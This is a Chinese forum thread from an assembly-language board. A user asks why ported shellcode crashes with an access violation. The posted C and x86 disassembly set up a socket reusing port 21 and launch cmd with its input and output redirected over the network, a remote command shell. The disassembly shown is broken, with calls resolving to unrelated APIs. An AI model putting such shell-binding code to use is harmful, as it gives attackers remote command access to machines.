程序无法运行,反汇编调试时发现访问违例

myabc11 2009-04-23 05:27:28
http://blog.csdn.net/Civet148/archive/2005/12/26/562102.aspx

看了上面链接的文章,也模仿学习。遇到访问违例,发现坛子里面的类似的帖子也救不了急。

原作者这样写了源代码

-------------------------------------------------------------------------------

ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//设置为输入输出句柄为Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;

-------------------------------------------------------------------------------

原作者很牛,也写了汇编代码,如下

-------------------------------------------------------------------------------
lea edi,[esp]; //可能是构造si
mov word ptr [edi+2ch], 0x0101; //si.dwFlags =0x0101
mov [edi+38h],ebx; //si.hStdInput
mov [edi+3ch],ebx; //si.hStdOutput
mov [edi+40h],ebx; //si.hStdError = Socket


-------------------------------------------------------------------------------

但我移植到一个程序里面的时候,却出现违例错误。代码如下

-------------------------------------------------------------------------------
01045C19 . E8 5DC17B7B call kernel32.LoadLibraryA ; \LoadLibraryA
01045C1E . 81EC 00020000 sub esp,200
01045C24 . 54 push esp ; /pWSAData
01045C25 . 68 02020000 push 202 ; |RequestedVersion = 202 (2.2.)
01045C2A . E8 260E9E70 call WS2_32.WSAStartup ; \WSAStartup
01045C2F . 81C4 00020000 add esp,200
01045C35 . 6A 00 push 0 ; /Flags = 0
01045C37 . 6A 00 push 0 ; |Group = 0
01045C39 . 6A 00 push 0 ; |pWSAprotocol = NULL
01045C3B . 6A 06 push 6 ; |Protocol = IPPROTO_TCP
01045C3D . 6A 01 push 1 ; |Type = SOCK_STREAM
01045C3F . 6A 02 push 2 ; |Family = AF_INET
01045C41 . E8 242F9E70 call WS2_32.WSASocketA ; \WSASocketA
01045C46 . 8BD8 mov ebx,eax
01045C48 . B8 01000000 mov eax,1
01045C4D . 50 push eax
01045C4E . 8BF4 mov esi,esp
01045C50 . 6A 04 push 4 ; /DataSize = 4
01045C52 . 56 push esi ; |Data
01045C53 . 6A 04 push 4 ; |Option = SO_REUSEADDR
01045C55 . 68 FFFF0000 push 0FFFF ; |Level = SOL_SOCKET
01045C5A . 53 push ebx ; |Socket
01045C5B . E8 C1E89D70 call WS2_32.setsockopt ; \setsockopt
01045C60 . 6A 00 push 0
01045C62 . 68 02000015 push 15000002
01045C67 . 8BF4 mov esi,esp
01045C69 . 6A 10 push 10
01045C6B . 56 push esi
01045C6C . 53 push ebx
01045C6D . E8 CA637E7B call kernel32.BindIoCompletionCallback
01045C72 . 6A 02 push 2
01045C74 . 53 push ebx
01045C75 . E8 C6778E7B call ntdll.ZwListenPort
01045C7A . 6A 10 push 10
01045C7C . 54 push esp
01045C7D . 56 push esi
01045C7E . 53 push ebx
01045C7F . E8 BC718E7B call ntdll.ZwAcceptConnectPort
01045C84 . 8BD8 mov ebx,eax
01045C86 . 8D3C24 lea edi,dword ptr ss:[esp]
01045C89 . 66:C747 2C 0101 mov word ptr ds:[edi+2C],101
01045C8F . 895F 38 mov dword ptr ds:[edi+38],ebx
01045C92 . 895F 3C mov dword ptr ds:[edi+3C],ebx
01045C95 . 895F 40 mov dword ptr ds:[edi+40],ebx
01045C98 C745 32 636D6400 mov dword ptr ss:[ebp+32],646D63
01045C9F . 8D4424 44 lea eax,dword ptr ss:[esp+44]
01045CA3 . 50 push eax
01045CA4 . 57 push edi
01045CA5 . 6A 00 push 0
01045CA7 . 6A 00 push 0
01045CA9 . 6A 00 push 0
01045CAB . 6A 01 push 1
01045CAD . 6A 00 push 0
01045CAF . 6A 00 push 0
01045CB1 . 8D45 32 lea eax,dword ptr ss:[ebp+32]
01045CB4 . 50 push eax
01045CB5 . 6A 00 push 0
01045CB7 . E8 C4AFD976 call ADVAPI32.CreateProcessAsUserA

-------------------------------------------------------------------------------

访问违例是访问了不该访问的内存,有劳大牛们费心,小弟恭候,感激不尽。
...全文
246 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
myabc11 2009-04-25
  • 打赏
  • 举报
回复
看来cnzdgs的确是牛人,大致原因是他所说。后来借了两本书看了下,才发现这段代码在移植的时候,第一个参数都没构造出来。还是继续看书再写吧!谢谢了!结贴了!
myabc11 2009-04-24
  • 打赏
  • 举报
回复
对,其余代码可参加帖子第一行的链接,原作者解释的比较详细。可就是模仿的时候,老出问题!
myabc11 2009-04-24
  • 打赏
  • 举报
回复
主要功能很简单:创建一个socket,并实现端口复用(21端口),当听到请求时,打开cmd,将cmd的输入输出通过网络传送。
出错的地方就是在“si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD; ”的汇编代码。
这里首先要构造si,然后分别将hStdInput、hStdOutput、hStdError的地址给构造出来,原作者的做法是,如下

------------------------------------------------

lea edi,[esp]; //可能是构造si ,至于为什么重[esp]得到si的地址就不知道了?
mov word ptr [edi+2ch], 0x0101; //si.dwFlags =0x0101 //edi 为目的变址,汇编时同ds联用
mov [edi+38h],ebx; //si.hStdInput // [edi+38h] 相对si有38h的偏移量,通过VC++调试时算出来的
mov [edi+3ch],ebx; //si.hStdOutput
mov [edi+40h],ebx; //si.hStdError = Socket

------------------------------------------------


忘大哥指点迷津,谢谢!
chenweiqing2008 2009-04-24
  • 打赏
  • 举报
回复
你这段代码不全吧。
cnzdgs 2009-04-23
  • 打赏
  • 举报
回复
不知道你要实现什么,从现象上看,是临时分配的空间不足(或者根本没有分配)。
myabc11 2009-04-23
  • 打赏
  • 举报
回复
上面红色的地方提示访问违例,有劳了!!!!!

21,500

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧